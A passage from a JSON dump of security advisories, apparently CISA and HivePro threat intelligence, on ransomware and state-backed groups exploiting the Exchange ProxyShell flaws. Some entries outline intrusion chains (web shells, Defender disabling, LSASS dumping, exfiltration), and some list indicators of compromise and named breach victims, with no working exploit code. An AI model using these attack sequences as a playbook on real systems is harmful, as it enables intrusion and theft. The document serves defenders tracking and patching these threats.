survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-21T00:00:00", "type": "cisa", "title": "Urgent: Protect Against Active Exploitation of ProxyShell Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-21T00:00:00", "id": "CISA:8C51810D4AACDCCDBF9D526B4C21660C", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "hivepro": [{"lastseen": "2022-04-22T15:39:16", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here Hive Ransomware has been active since its discovery in June 2021, and it is constantly deploying different backdoors, including the Cobalt Strike beacon, on Microsoft Exchange servers that are vulnerable to ProxyShell (CVE-2021-31207, CVE-2021-34473 and CVE-2021-34523) security flaws. The threat actors then conduct network reconnaissance, obtain admin account credentials, and exfiltrate valuable data before deploying the file-encrypting payload. Hive and their affiliates access their victims' networks by a variety of methods, including phishing emails with malicious attachments, compromised VPN passwords, and exploiting weaknesses on external-facing assets. Furthermore, Hive leaves a plain-text ransom letter threatening to disclose the victim's data on the TOR website 'HiveLeaks' if the victim does not meet the attacker's terms. The Organizations can mitigate the risk by following the recommendations: \u2022Use multi-factor authentication. \u2022Keep all operating systems and software up to date. \u2022Remove unnecessary access to administrative shares. \u2022Maintain offline backups of data and Ensure all backup data is encrypted and immutable. \u2022Enable protected files in the Windows Operating System for critical files. The MITRE ATT&CK TTPs used by Hive Ransomware are: TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and ControlTA0010: Exfiltration TA0040: ImpactT1190: Exploit Public-Facing ApplicationT1566: PhishingT1566.001: Spear-phishing attachmentT1106: Native APIT1204: User ExecutionT1204.002: Malicious FileT1059: Command and Scripting InterpreterT1059.001: PowerShellT1059.003: Windows Command ShellT1053: Scheduled Task/JobT1053.005: Scheduled TaskT1047: Windows Management InstrumentT1136: Create AccountT1136.002: Domain AccountT1078: Valid AccountsT1078.002: Domain AccountsT1053: Boot or logon autostart executionT1068: Exploitation for Privilege EscalationT1140: Deobfuscate/Decode Files or InformationT1070: Indicator Removal on Host T1070.001: Clear Windows Event LogsT1562: Impair DefensesT1562.001: Disable or Modify ToolsT1003: OS Credential DumpingT1003.005: Cached Domain Credentials|T1018: Remote System DiscoveryT1021: Remote ServicesT1021.001: Remote Desktop ProtocolT1021.002: SMB/Windows admin sharesT1021.006: Windows Remote ManagementT1083: File and directory discoveryT1057: Process discoveryT1063: Security software discoveryT1049: System Network Connections DiscoveryT1135: Network Share DiscoveryT1071: Application Layer ProtocolT1071.001: Web ProtocolsT1570: Lateral tool transfer1486: Data Encrypted for ImpactT1005: Data from local systemT1560: Archive Collected DataT1560.001: Archive via UtilityT1105: Ingress Tool TransferT1567: Exfiltration over web service Actor Details Vulnerability Details Indicators of Compromise (IoCs) Recent Breaches https://millsgrouponline.com/ https://www.fcch.com/ https://www.konradin.de/de/ https://www.pollmann.at/en https://www.emilfrey.ch/de https://rte.com.br/ https://www.friedrich.com/ https://powerhouse1.com/ https://www.hshi.co.kr/eng/ https://www.eurocoininteractive.nl/ https://www.itsinfocom.com/ https://www.pan-energy.com/ https://nsminc.com/ https://www.ucsiuniversity.edu.my/ https://kemlu.go.id/portal/id Patch Links https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207 References https://www.varonis.com/blog/hive-ransomware-analysis https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-22T14:34:47", "type": "hivepro", "title": "Hive Ransomware targets organizations with ProxyShell exploit", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-04-22T14:34:47", "id": "HIVEPRO:F2305684A25C735549865536AA4254BF", "href": "https://www.hivepro.com/hive-ransomware-targets-organizations-with-proxyshell-exploit/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-25T05:32:31", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here APT35 aka Magic Hound, an Iranian-backed threat group, has begun using Microsoft Exchange ProxyShell vulnerabilities as an initial attack vector and to execute code through multiple web shells. The group has primarily targeted organizations in the energy, government, and technology sectors based in the United States, the United Kingdom, Saudi Arabia, and the United Arab Emirates, among other countries. The threat actor exploits the Microsoft Exchange ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) to gain initial access to create web shells and disable antivirus services on the victim\u2019s system. To gain persistence in the environment, the threat actor employs both account creation and scheduled tasks. For future re-entry, the account is added to the "remote desktop users" and "local administrator's users" groups. The threat actors use PowerShell to issue multiple commands to disable Windows Defender. Then they create a process memory dump from LSASS.exe that is zipped before exfiltration via web shell. The threat actor uses native Windows programs like "net" and "ipconfig" to enumerate the compromised server. A file masquerading as dllhost.exe is used to access certain domains for command and control. Therefore, data can be exfiltrated by the threat actor which could potentially resulting in information theft and espionage. The Microsoft Exchange ProxyShell vulnerabilities have been fixed in the latest updates from Microsoft. Organizations can patch these vulnerabilities using the patch links given below. The MITRE TTPs commonly used by APT35 are: TA0001: Initial AccessTA0002: ExecutionTA0003: PersistenceTA0004: Privilege EscalationTA0005: Defense EvasionTA0006: Credential AccessTA0007: DiscoveryTA0011: Command and ControlT1190: Exploit Public-Facing ApplicationT1003: OS Credential DumpingT1098: Account ManipulationT1078: Valid AccountsT1105: Ingress Tool TransferT1036: MasqueradingT1036.005: Masquerading: Match Legitimate Name or LocationT1543: Create or Modify System ProcessT1543.003: Create or Modify System Process: Windows ServiceT1505: Server Software ComponentT1505.003: Server Software Component: Web ShellT1082: System Information DiscoveryT1016: System Network Configuration DiscoveryT1033: System Owner/User DiscoveryT1059: Command and Scripting InterpreterT1059.003: Command and Scripting Interpreter: Windows Command Shell Actor Details Vulnerability Details Indicators of Compromise (IoCs) Patches https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 References https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-25T04:05:09", "type": "hivepro", "title": "Magic Hound Exploiting Old Microsoft Exchange ProxyShell Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-25T04:05:09", "id": "HIVEPRO:DB06BB609FE1B4E7C95CDC5CB2A38B28", "href": "https://www.hivepro.com/magic-hound-exploiting-old-microsoft-exchange-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-07T15:20:43", "description": "#### THREAT LEVEL: Red.\n\n \n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/12/BlackByte-ransomware-exploits-Microsoft-Servers-ProxyShell-vulnerabilities_TA202155.pdf>)\n\nBlackByte ransomware is targeting organizations with unpatched ProxyShell vulnerabilities. Proxy Shell was addressed by hive pro threat researcher in the previous [advisory](<https://www.hivepro.com/proxyshell-and-petitpotam-exploits-weaponized-by-lockfile-ransomware-group/>) released on August 24.\n\nProxyShell is a combination of three flaws in Microsoft Exchange:\n\nCVE-2021-34473 Pre-auth path confusion vulnerability to bypass access control. \nCVE-2021-34523 Privilege escalation vulnerability in the Exchange PowerShell backend. \nCVE-2021-31207 Post-auth remote code execution via arbitrary file write.\n\nThese security flaws are used together by threat actors to perform unauthenticated, remote code execution on vulnerable servers. After exploiting these vulnerabilities, the threat actors then install web shells, coin miners, ransomwares or backdoors on the servers. Attackers then use this web shell to deploy cobalt strike beacon into Windows Update Agent and get the credentials for a service account on compromised servers. The actor then installs Anydesk to gain control of the system and do lateral movement in the organization network. Post exploitation, attackers carry on with using Cobalt Strike to execute the Blackbyte ransomware and encrypt the data.\n\nAffected organizations can decrypt their files using a free decryption tool written by [Trustwave](<https://github.com/SpiderLabs/BlackByteDecryptor>). Users can patch their server for ProxyShell vulnerabilities using the link down below.\n\n**Techniques used by Blackbyte ransomware are :**\n\nT1505.003 Server Software Component: Web Shell \nT1055 Process Injection \nT1059.001 Command and Scripting Interpreter: PowerShell \nT1595.002 Active Scanning: Vulnerability Scanning \nT1027 Obfuscated Files of Information \nT1490 Inhibit System Recovery \nT1112 Modify Registry \nT1562.001 Impair Defenses: Disable or Modify Tools \nT1562.004 Impair Defenses: Disable or Modify System Firewall \nT1018 Remote System Discovery \nT1016 System Network Configuration Discovery \nT1070.004 Indicator Removal on Host: File Deletion \nT1560.001 Archive Collected Data: Archive via Utility\n\n[](<https://docs.google.com/viewer?url=https%3A%2F%2Fwww.hivepro.com%2Fwp-content%2Fuploads%2F2021%2F12%2FMicrosoft-could-not-patch-this-vulnerability-yet-again_TA202153.pdf&embedded=true&chrome=false&dov=1> \"View this pdf file\" )\n\n \n\n#### Vulnerability Details\n\n \n\n\n\n \n\n#### Actor Detail\n\n \n\n\n\n \n\n#### Indicators of Compromise(IoCs)\n\n \n\n\n\n \n\n#### Patch Link\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>\n\n \n\n#### References\n\n<https://redcanary.com/blog/blackbyte-ransomware/>\n\n<https://www.techtarget.com/searchsecurity/news/252510334/BlackByte-ransomware-attacks-exploiting-ProxyShell-flaws>\n\n<https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-blackbyte-ransomware/>\n\n<https://www.stellarinfo.com/blog/blackbyte-ransomware-attacks-exchange-servers-with-proxyshell-flaws/>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-07T13:24:49", "type": "hivepro", "title": "BlackByte ransomware exploits Microsoft Servers ProxyShell Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-12-07T13:24:49", "id": "HIVEPRO:10B372979ED5F121D7A84FB66487023E", "href": "https://www.hivepro.com/blackbyte-ransomware-exploits-microsoft-servers-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-24T12:00:56", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here](<https://www.hivepro.com/wp-content/uploads/2021/08/TA202131.pdf>)[.](<https://www.hivepro.com/wp-content/uploads/2021/08/TA202130.pdf>)\n\nLockFile, a new ransomware gang, has been active since last week. LockFile began by using a publicly disclosed PetitPotam exploit (CVE-2021-36942) to compromise Windows Domain Controllers earlier this week. Using ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207), they've now infiltrated many Microsoft Exchange Servers . The origins of this gang are most likely China. This gang used a similar ransomware note as of LokiBot and is been linked to Conti ransomware due to the email id provided (contact@contipauper[.]com). HivePro Threat Research team advises everyone to patch the vulnerabilities to prevent an attack.\n\n#### Vulnerability Details\n\n\n\n#### Actor Details\n\n**Name** | **Target Locations** | **Target Sectors** | \n---|---|---|--- \nLockFile Ransomware | United States of America and Asia | Manufacturing, financial services, engineering, legal, business services, and travel and tourism sectors | \n \n#### Indicators of Compromise (IoCs)\n\n**Type** | **Value** \n---|--- \nIP Address | 209.14.0.234 \nSHA-2 Hash | ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291 \ncafe54e85c539671c94abdeb4b8adbef3bde8655006003088760d04a86b5f915 \n36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9 \n5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f \n1091643890918175dc751538043ea0743618ec7a5a9801878554970036524b75 \n2a23fac4cfa697cc738d633ec00f3fbe93ba22d2498f14dea08983026fdf128a \n7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dea1cdad5ef193b052fd \nc020d16902bd5405d57ee4973eb25797087086e4f8079fac0fd8420c716ad153 \na926fe9fc32e645bdde9656470c7cd005b21590cda222f72daf854de9ffc4fe0 \n368756bbcaba9563e1eef2ed2ce59046fb8e69fb305d50a6232b62690d33f690 \nd030d11482380ebf95aea030f308ac0e1cd091c673c7846c61c625bdf11e5c3a \na0066b855dc93cf88f29158c9ffbbdca886a5d6642cbcb9e71e5c759ffe147f8 \n \n#### Patch Links\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>\n\n#### References\n\n<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>\n\n<https://www.bleepingcomputer.com/news/security/lockfile-ransomware-uses-petitpotam-attack-to-hijack-windows-domains/>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-24T10:35:48", "type": "hivepro", "title": "ProxyShell and PetitPotam exploits weaponized by LockFile Ransomware Group", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-36942"], "modified": "2021-08-24T10:35:48", "id": "HIVEPRO:C0B03D521C5882F1BE07ECF1550A5F74", "href": "https://www.hivepro.com/proxyshell-and-petitpotam-exploits-weaponized-by-lockfile-ransomware-group/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-24T14:24:49", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here Federal Bureau of Investigation and Cybersecurity and Infrastructure Security Agency released threat advisories on AvosLocker Ransomware. It is a Ransomware as a Service (RaaS) affiliate-based group that has targeted 50+ organizations in critical infrastructure sectors such as financial services, manufacturing plants, and government facilities in countries such as the United States, Saudi Arabia, the United Kingdom, Germany, Spain, and the United Arab Emirates, among others. After it's affiliates infect targets, AvosLocker claims to handle ransom negotiations, as well as the publishing and hosting of exfiltrated victim data. The AvosLocker ransomware is a multi-threaded C++ Windows executable that operates as a console application and displays a log of actions performed on victim computers. For the delivery of the ransomware payload, the attackers use spam email campaigns as the initial infection vector. The threat actors exploits Proxy Shell vulnerabilities CVE-2021-31206, CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473, as well as CVE-2021-26855 to gain access to victim\u2019s machine and then they deploy Mimikatz to steal passwords. Furthermore, threat actors can use the detected credentials to get RDP access to the domain controller and then exfiltrate data from the compromised machine. Finally, the attacker installs AvosLocker ransomware on the victim's computer and then encrypts the victim's documents and files with the ".avos" extension. The actor then leaves a ransom letter in each directory named "GET YOUR FILES BACK.txt" with a link to an AvosLocker .onion payment site. The Organizations can mitigate the risk by following the recommendations: \u2022Keep all operating systems and software up to date. \u2022Remove unnecessary access to administrative shares. \u2022Maintain offline backups of data and Ensure all backup data is encrypted and immutable. The MITRE TTPs commonly used by Avoslocker are: TA0001: Initial AccessTA0002: ExecutionTA0007: DiscoveryTA0040: ImpactT1566: PhishingT1204: User ExecutionT1082: System Information DiscoveryT1490: Inhibit System RecoveryT1489: Service StopT1486: Data Encrypted for Impact Actor Detail Vulnerability Details Indicators of Compromise (IoCs) Patches https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31206 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 Recent Breaches https://www.unical.com/ https://www.paccity.net/ https://www.gigabyte.com/ Reference https://www.cisa.gov/uscert/ncas/current-activity/2022/03/22/fbi-and-fincen-release-advisory-avoslocker-ransomware", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-24T06:30:44", "type": "hivepro", "title": "AvosLocker Ransomware group has targeted 50+ Organizations Worldwide", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31206", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-24T06:30:44", "id": "HIVEPRO:92FF0246065B21E79C7D8C800F2DED76", "href": "https://www.hivepro.com/avoslocker-ransomware-group-has-targeted-50-organizations-worldwide/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-27T15:34:57", "description": "For a detailed threat digest, download the pdf file here Published Vulnerabilities Interesting Vulnerabilities Active Threat Groups Targeted Countries Targeted Industries ATT&CK TTPs 430 5 2 Worldwide 17 46 The fourth week of April 2022 witnessed the discovery of 430 vulnerabilities out of which 5 gained the attention of Threat Actors and security researchers worldwide. Among these 5, there was 1 zero-day, and 1 vulnerability that was awaiting analysis on the National Vulnerability Database (NVD). Hive Pro Threat Research Team has curated a list of 5 CVEs that require immediate action. Further, we also observed Two Threat Actor groups being highly active in the last week. Lazarus, a North Korea threat actor group popular for financial crime and gain, was observed targeting blockchain technology and the cryptocurrency industry using a new malware TraderTraitor and Hive ransomware group was seen using the ProxyShell vulnerabilities to target organizations all around the world. Common TTPs which could potentially be exploited by these threat actors or CVEs can be found in the detailed section. Detailed Report: Interesting Vulnerabilities: Vendor CVEs Patch Link CVE-2021-34473 CVE-2021-34523 CVE-2021-31207 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207 CVE-2022-0540 https://www.atlassian.com/software/jira/core/download https://www.atlassian.com/software/jira/update CVE-2022-29072* Not Available Active Actors: Icon Name Origin Motive Lazarus Group (APT38, BlueNoroff, and Stardust Chollima) North Korea Financial crime and gain Hive Ransomware Group Unknown Financial crime and gain Targeted Location: Targeted Sectors: Common TTPs: TA0042: Resource Development TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and Control TA0010: Exfiltration TA0040: Impact T1588: Obtain Capabilities T1190: Exploit Public-Facing Application T1059: Command and Scripting Interpreter T1136: Create Account T1134: Access Token Manipulation T1134: Access Token Manipulation T1110: Brute Force T1083: File and Directory Discovery T1570: Lateral Tool Transfer T1560: Archive Collected Data T1071: Application Layer Protocol T1567: Exfiltration Over Web Service T1486: Data Encrypted for Impact T1588.005: Exploits T1566: Phishing T1059.007: JavaScript T1136.002: Domain Account T1543: Create or Modify System Process T1140: Deobfuscate/Decode Files or Information T1003: OS Credential Dumping T1135: Network Share Discovery T1021: Remote Services T1560.001: Archive via Utility T1071.001: Web Protocols T1496: Resource Hijacking T1588.006: Vulnerabilities T1566.001: Spearphishing Attachment T1059.001: PowerShell T1053: Scheduled Task/Job T1068: Exploitation for Privilege Escalation T1562: Impair Defenses T1003.005: Cached Domain Credentials T1057: Process Discovery T1021.001: Remote Desktop Protocol T1005: Data from Local System T1105: Ingress Tool Transfer T1566.002: Spearphishing Link T1059.003: Windows Command Shell T1053.005: Scheduled Task T1053: Scheduled Task/Job T1562.001: Disable or Modify Tools T1018: Remote System Discovery T1021.002: SMB/Windows Admin Shares T1113: Screen Capture T1078: Valid Accounts T1106: Native API T1078: Valid Accounts T1053.005: Scheduled Task T1070: Indicator Removal on Host T1518: Software Discovery T1021.006: Windows Remote Management T1078.002: Domain Accounts T1053: Scheduled Task/Job T1078.002: Domain Accounts T1078: Valid Accounts T1553: Subvert Trust Controls T1518.001: Security Software Discovery T1053.005: Scheduled Task T1078.002: Domain Accounts T1078: Valid Accounts T1049: System Network Connections Discovery T1204: User Execution T1078.002: Domain Accounts T1204.002: Malicious File T1047: Windows Management Instrumentation Threat Advisories: Bypass Authentication vulnerability in Atlassian Jira Seraph Hive Ransomware targets organizations with ProxyShell exploit Lazarus is back, targeting organizations with cryptocurrency thefts via TraderTraitor malware What will be the consequence of this disputed vulnerability in 7-ZIP?", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-27T12:44:38", "type": "hivepro", "title": "Weekly Threat Digest: 18 \u2013 24 April 2022", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2022-0540", "CVE-2022-29072"], "modified": "2022-04-27T12:44:38", "id": "HIVEPRO:09525E3475AC1C5F429611A90182E82F", "href": "https://www.hivepro.com/weekly-threat-digest-18-24-april-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-20T11:20:57", "description": "#### THREAT LEVEL: Amber.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/11/Have-you-updated-your-Zoom-meeting_TA202152-1.pdf>)[](<https://docs.google.com/viewer?url=https%3A%2F%2Fwww.hivepro.com%2Fwp-content%2Fuploads%2F2021%2F11%2FMicrosoft-could-not-patch-this-vulnerability_TA202150-1.pdf&embedded=true&chrome=false&dov=1> \"View this pdf file\" )\n\nTwo Critical vulnerabilities have been found in Zoom products. These vulnerabilities were discovered by \nNatalie Silvanovich, a researcher from Google Project Zero. \nThe first vulnerability, CVE-2021-34423 is a high severity and a buffer overflow vulnerability. This could \nallow an attacker to crash the service or application or exploit the vulnerability by executing an arbitrary code. \nThe second vulnerability, CVE-2021-34424 is a medium severity and a memory corruption vulnerability. \nThis flaw could be used to get access to arbitrary parts of the product\u2019s memory. \nBoth these vulnerabilities can be fixed by updating Zoom products to their latest versions.\n\n \n\n#### Vulnerability Details\n\n \n\n\n\n \n\n#### References\n\n<https://explore.zoom.us/en/trust/security/security bulletin/>\n\n<https://securityaffairs.co/wordpress/125122/security/video conferencing software zoom flaws.html>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", 